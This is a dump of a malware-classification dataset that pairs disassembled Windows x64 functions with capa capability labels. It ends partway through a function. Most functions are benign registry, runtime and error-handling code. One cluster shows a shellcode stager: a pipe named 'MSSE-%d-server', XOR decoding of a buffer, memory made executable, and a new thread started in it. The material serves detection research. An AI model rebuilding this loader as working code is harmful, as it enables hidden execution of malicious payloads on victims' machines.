joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004cc08
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
and qword [rsp + 0x60], 0
and qword [rsp + 0x68], 0
xor edi, edi
and dword [rsp + 0x50], edi
mov rsi, rdx
mov rbx, rcx
cmp qword [rcx + 0x20], rdi
jne 0x10004cc6e
add rcx, 0x10
mov edx, 0x20019
call qword [sym.imp.SETUPAPI.dll_SetupDiOpenClassRegKey]
mov qword [rbx + 0x20], rax
cmp rax, 0xffffffffffffffff
jne 0x10004cc6e
and qword [rbx + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10004cd84
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x10004cc81
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rbx + 0x20], rdi
lea rax, [rsp + 0x60]
lea rdx, [0x100012470]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10004cd36
lea rcx, [rbx + 0x10]
lea rdx, [rsp + 0x68]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
jne 0x10004cd36
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10004ccf3
cmp eax, 2
je 0x10004cd50
jmp 0x10004cd36
mov eax, dword [rsp + 0x50]
add eax, 4
mov ecx, eax
mov dword [rsp + 0x50], eax
call sub.msvcrt.dll_void____ptr64___cdecl_operator_new___unsigned_long_long_unsigned___int64__
mov rdi, rax
test rax, rax
je 0x10004cd36
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10004cd45
mov ecx, 0x65b
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
jmp 0x10004cd55
mov rdx, rdi
mov rcx, rsi
call fcn.10003de0c
mov ebx, 1
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x10004cd65
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test rdi, rdi
je 0x10004cd72
mov rcx, rdi
call 0x10005ccc0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x10004cd82
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x10004cd94
Capabilities:
Delete registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
and qword [rsp + 0x60], 0
and qword [rsp + 0x68], 0
xor edi, edi
and dword [rsp + 0x50], edi
mov rsi, rdx
mov rbx, rcx
cmp qword [rcx + 0x20], rdi
jne 0x10004cdfa
add rcx, 0x10
mov edx, 0x20019
call qword [sym.imp.SETUPAPI.dll_SetupDiOpenClassRegKey]
mov qword [rbx + 0x20], rax
cmp rax, 0xffffffffffffffff
jne 0x10004cdfa
and qword [rbx + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10004ceee
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x10004ce0d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rbx + 0x20], rdi
lea rax, [rsp + 0x60]
lea rdx, [0x100012470]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10004ceab
lea rcx, [rbx + 0x10]
lea rdx, [rsp + 0x68]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
jne 0x10004ceab
cmp qword [rsi + 0x10], rdi
je 0x10004ce92
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.100031ad4
mov rdi, rax
test rax, rax
je 0x10004ceab
mov eax, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
add eax, eax
mov r9d, 7
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jmp 0x10004cea9
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
je 0x10004ceba
cmp eax, 2
je 0x10004ceba
mov ecx, 0x65b
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
jmp 0x10004cebf
mov ebx, 1
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x10004cecf
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test rdi, rdi
je 0x10004cedc
mov rcx, rdi
call 0x10005ccc0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x10004ceec
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x10005740c
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov r12, r8
mov rbp, rdx
mov rdi, rcx
xor ebx, ebx
cmp qword [rcx + 0x20], rbx
jne 0x100057485
add rcx, 0x10
mov edx, 0x20019
call qword [sym.imp.SETUPAPI.dll_SetupDiOpenClassRegKey]
mov qword [rdi + 0x20], rax
cmp rax, 0xffffffffffffffff
jne 0x100057485
mov qword [rdi + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
mov rcx, rbp
call fcn.10001f3ec
xor eax, eax
jmp 0x100057578
mov dword [rsp + 0x70], ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp]
mov rcx, qword [rdi + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
je 0x1000574d0
cmp eax, 2
je 0x1000574c6
mov ecx, 0x65b
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
jmp 0x10005756e
mov ebx, 1
jmp 0x10005756e
mov eax, dword [rsp + 0x70]
add eax, 4
mov r13d, eax
mov ecx, eax
call sub.msvcrt.dll_void____ptr64___cdecl_operator_new___unsigned_long_long_unsigned___int64__
mov rsi, rax
cmp rax, rbx
jne 0x1000574f7
mov ecx, 0x65b
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
jmp 0x10005756e
mov r8, r13
xor edx, edx
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp]
mov rcx, qword [rdi + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
je 0x100057541
mov rcx, rsi
call 0x10005ccc0
mov ecx, 0x65b
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
jmp 0x10005756e
mov rdx, rsi
mov rcx, r12
call fcn.10003de0c
mov rcx, rsi
call 0x10005ccc0
cmp qword [r12 + 0x10], rbx
jne 0x100057569
mov ecx, 0x65b
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
jmp 0x10005756e
mov ebx, 1
mov rcx, rbp
call fcn.10001f3ec
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x100057594
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
push rsi
push rdi
push r12
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbp
mov r12, r8
mov rsi, rdx
mov rdi, rcx
mov rcx, qword [rcx + 0x20]
xor ebx, ebx
cmp rcx, rbx
je 0x1000575d2
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rdi + 0x20], rbx
cmp qword [rdi + 0x20], rbx
jne 0x100057606
lea rcx, [rdi + 0x10]
mov edx, 0x20006
call qword [sym.imp.SETUPAPI.dll_SetupDiOpenClassRegKey]
mov qword [rdi + 0x20], rax
cmp rax, 0xffffffffffffffff
jne 0x100057606
mov qword [rdi + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
jmp 0x100057680
mov ebp, ebx
cmp qword [r12 + 0x10], rbx
jne 0x100057620
mov rdx, qword [rsi]
mov rcx, qword [rdi + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ebp, eax
jmp 0x100057668
mov dword [rsp + 0x60], ebx
lea rdx, [rsp + 0x60]
mov rcx, r12
call fcn.100031ad4
mov r12, rax
cmp rax, rbx
je 0x100057668
mov eax, dword [rsp + 0x60]
add eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
mov r9d, 7
xor r8d, r8d
mov rdx, qword [rsi]
mov rcx, qword [rdi + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebp, eax
mov rcx, r12
call 0x10005ccc0
mov rcx, qword [rdi + 0x20]
cmp rcx, rbx
je 0x10005767b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rdi + 0x20], rbx
cmp ebp, ebx
sete bl
mov rcx, rsi
call fcn.10001f3ec
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x10005c734
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x100081138]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call sub.msvcrt.dll_memset
and qword [rbx + 0x50], 0
and dword [rbx + 0x58], 0
and dword [rbx + 0x5c], 0
lea rax, [0x100000000]
mov esi, 0x94
lea rcx, [rsp + 0x20]
mov r8, rsi
xor edx, edx
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx], 0x60
mov byte [rbx + 0x18], 0
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov esi, 1
jne 0x10005c7c7
cmp dword [rsp + 0x24], 5
jb 0x10005c7e1
jmp 0x10005c7dd
cmp dword [rsp + 0x30], esi
jne 0x10005c7e1
cmp dword [rsp + 0x24], 4
ja 0x10005c7dd
jne 0x10005c7e1
cmp dword [rsp + 0x28], 0
jbe 0x10005c7e1
mov byte [rbx + 0x18], sil
lea rax, [0x100001d48]
lea rcx, [rbx + 0x28]
mov dword [rbx + 0x1c], 0x800
mov qword [rbx + 0x20], rax
call fcn.10005c590
movzx ecx, byte [0x100082a08]
test eax, eax
mov rax, rbx
cmovs ecx, esi
mov byte [0x100082a08], cl
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.10005cbe0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x10005ce38
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x10005cea3
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x10005cec3
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, [0x100001dd8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add rsp, 0x530
pop rbx
ret

Function at 0x10005d398
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10005d3e5
cmp rcx, 0xffffffffffffffff
je 0x10005d3e5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10005d3dd
cmp dword [rcx + 0x3c], edx
jl 0x10005d3dd
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10005d3dd
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10005d3e5
mov rax, rdx
add rsp, 0x18
ret
Function at 0x407b67
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x0041c058]
jne 0x405a9a
rol rcx, 0x10
test cx, 0xffff
jne 0x405a96
repz ret
ror rcx, 0x10
jmp 0x407ac0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x0041d720]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x0041d818]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x407b45
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x0041d720]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x407b67
mov rax, qword [rsp + 0x88]
mov qword [0x0041d818], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x0041d7b8], rax
mov rax, qword [0x0041d818]
mov qword [0x0041d690], rax
mov rax, qword [rsp + 0x90]
mov qword [0x0041d7a0], rax
mov dword [0x0041d680], 0xc0000409
mov dword [0x0041d684], 1
mov rax, qword [0x0041c058]
mov qword [rsp + 0x68], rax
mov rax, qword [0x0041c060]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x0041d718], eax
mov ecx, 1
call fcn.00409ed0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x004165c8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x0041d718], 0
jne 0x407bee
mov ecx, 1
call fcn.00409ed0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x413b30
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.00408fc0
xor ebx, ebx
cmp qword [0x0041e540], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x413c61
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x413b93
xor eax, eax
jmp 0x413d41
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x413b8c
mov rcx, rax
call fcn.00408f50
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x0041e540], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00408f50
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x0041e548], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00408f50
lea rcx, [rsp + 0x30]
mov qword [0x0041e550], rax
call fcn.0040cd30
test eax, eax
je 0x413c17
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00406460
cmp dword [rsp + 0x30], 2
jne 0x413c61
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00408f50
test rax, rax
mov qword [0x0041e560], rax
je 0x413c61
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00408f50
mov qword [0x0041e558], rax
mov rcx, qword [0x0041e558]
cmp rcx, rsi
je 0x413cf3
cmp qword [0x0041e560], rsi
je 0x413cf3
call fcn.00409020
call rax
test rax, rax
mov rbp, rax
je 0x413cbe
mov rcx, qword [0x0041e560]
call fcn.00409020
lea rcx, [rsp + 0x38]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x413cbe
test byte [rsp + 0x48], 1
jne 0x413cf3
lea rcx, [rsp + 0x34]
call fcn.0040cd80
test eax, eax
je 0x413ce0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00406460
cmp dword [rsp + 0x34], 4
jb 0x413ced
bts edi, 0x15
jmp 0x413d27
bts edi, 0x12
jmp 0x413d27
mov rcx, qword [0x0041e548]
cmp rcx, rsi
je 0x413d27
call fcn.00409020
call rax
test rax, rax
mov rbx, rax
je 0x413d27
mov rcx, qword [0x0041e550]
cmp rcx, rsi
je 0x413d27
call fcn.00409020
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x0041e540]
call fcn.00409020
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x6bac13d0
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x6bb0a920]
mov qword [rsp + 0x38], 0
mov edx, 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov r12, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x6bac147c
xor edx, edx
mov rcx, r12
lea rdi, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x6bac147c
test ebx, ebx
jle 0x6bac1466
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x6bac1471
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x6bac147c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x6bac1443
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x6bac14a4
Capabilities:
Read file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x6bb0a920]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
lea rdi, [rsp + 0x4c]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
xor eax, eax
cmp r12, 0xffffffffffffffff
je 0x6bac153c
test ebx, ebx
jle 0x6bac1521
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x6bac1531
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x6bac153c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x6bac14fe
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x6bac1598
Capabilities:
Create thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x6bb072e0]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov r12, rax
mov ecx, 0x400
call rsi
mov edx, dword [rbx + 4]
mov rcx, r12
call fcn.6bac14a4
test eax, eax
je 0x6bac1568
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, r12
call fcn.6bac16f5
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x6bb0a920]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
xor ecx, ecx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x6bac1486]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x6bac1546
Function at 0x6bac1657
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x6bac168b
mov qword [0x6bb0a960], rcx
xor r9d, r9d
lea r8, [0x6bac1640]
xor edx, edx
mov qword [rsp + 0x28], 0
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x6bac16f5
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd r12, edx
mov rdi, rcx
mov rbp, r8
xor ecx, ecx
mov r8d, 0x3000
mov rdx, r12
mov rsi, r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x6bac1740
mov rdx, rax
and edx, 3
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x6bac1727
mov rcx, rbx
call fcn.6bac16c3
lea r9, [rsp + 0x3c]
mov rdx, r12
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x6bac16c0]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x6bac1b10
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6bac2d80
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.6bac2d80
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x6bac1b80
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x6bb0a5e4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x6bac1d28
mov rax, qword [0x6bb0a5e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x6bac1bcc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x6bac1c57
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x6bac1bb0
mov rcx, r12
call fcn.6bac2880
mov rbp, rax
test rax, rax
je 0x6bac1d62
mov rax, qword [0x6bb0a5e8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.6bac29b0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6bb0a5e8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6bac1d71
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x6bac1c50
sub eax, 4
and eax, 0xfffffffb
jne 0x6bac1ce0
add dword [0x6bb0a5e4], 1
cmp ebx, 8
jae 0x6bac1c88
test bl, 4
jne 0x6bac1d30
test ebx, ebx
je 0x6bac1c79
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x6bac1d50
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x6bac1c79
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x6bac1cba
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x6bb0a5e8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6bac1c50
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6bac1b10
nop dword [rax]
xor edi, edi
jmp 0x6bac1bd7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x6bac1c79
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x6bac1c79
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.6bac1b10
mov rax, qword [0x6bb0a5e8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.6bac1b10
nop
nop dword [rax]
Function at 0x6bac24f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6bb0a8c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
